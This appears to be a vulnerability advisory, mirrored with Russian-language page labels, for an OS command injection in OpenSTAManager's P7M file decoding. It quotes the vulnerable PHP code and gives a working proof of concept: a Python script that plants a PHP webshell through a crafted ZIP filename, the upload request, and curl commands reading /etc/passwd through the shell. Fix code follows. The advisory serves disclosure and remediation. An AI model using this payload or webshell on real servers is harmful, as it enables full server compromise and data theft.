Описание
OpenSTAManager has an OS Command Injection in P7M File Processing
Summary
A critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.
Vulnerable Code
File: src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE - No input sanitization!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
The Problem:
- The
$fileparameter is passed directly intoexec()without sanitization - Although wrapped in double quotes, an attacker can escape them
- The filename comes from uploaded ZIP archives (user-controlled)
Attack Vector
Entry Points:
-
plugins/importFE_ZIP/actions.php:126 (when automatic import is enabled)
foreach ($files_xml as $xml) { if (string_ends_with($xml, '.p7m')) { $file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP! -
plugins/importFE/src/FatturaElettronica.php:56 (constructor)
if (string_ends_with($name, '.p7m')) { $file = XML::decodeP7M($this->file); // $name from user input!
Attack Flow:
- Attacker creates ZIP with malicious filename
- Upload ZIP via importFE_ZIP plugin
- Application extracts ZIP and iterates files
- For
.p7mfiles,decodeP7M()is called - Malicious filename is injected into
exec()command - Arbitrary command executes as web server user
Proof of Concept
⚠️ IMPORTANT NOTE: PHP's ZipArchive::extractTo() splits filenames on / character. Payload must NOT contain / in commands. Use cd directory && command instead of absolute paths.
Step 1: Create Malicious ZIP
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
Step 2: Upload ZIP
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Step 3: Exploitation Result
Response (500 error is expected - XML parsing fails AFTER command execution):
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
Verification - Webshell Created:
Step 4: Remote Code Execution
Webshell is publicly accessible without authentication:
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
Impact
- Remote Code Execution: Full server compromise
- Data Exfiltration: Access to all application data and database
- Privilege Escalation: Potential escalation if web server runs with elevated privileges
- Persistence: Install backdoors and maintain access
- Lateral Movement: Pivot to other systems on the network
Prerequisites
- Authenticated user with access to invoice import functionality
Remediation
Input Sanitization
public static function decodeP7M($file)
{
// Validate that file path doesn't contain shell metacharacters
if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) {
throw new \Exception('Invalid file path');
}
// Better: use escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
or
Validate Filename Before Processing
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
// Only allow alphanumeric, dots, dashes, underscores
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // Skip invalid filenames
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
Credit
Discovered by: Łukasz Rybak
Пакеты
Наименование
devcode-it/openstamanager
composer
Затронутые версииВерсия исправления
<= 2.9.8
Отсутствует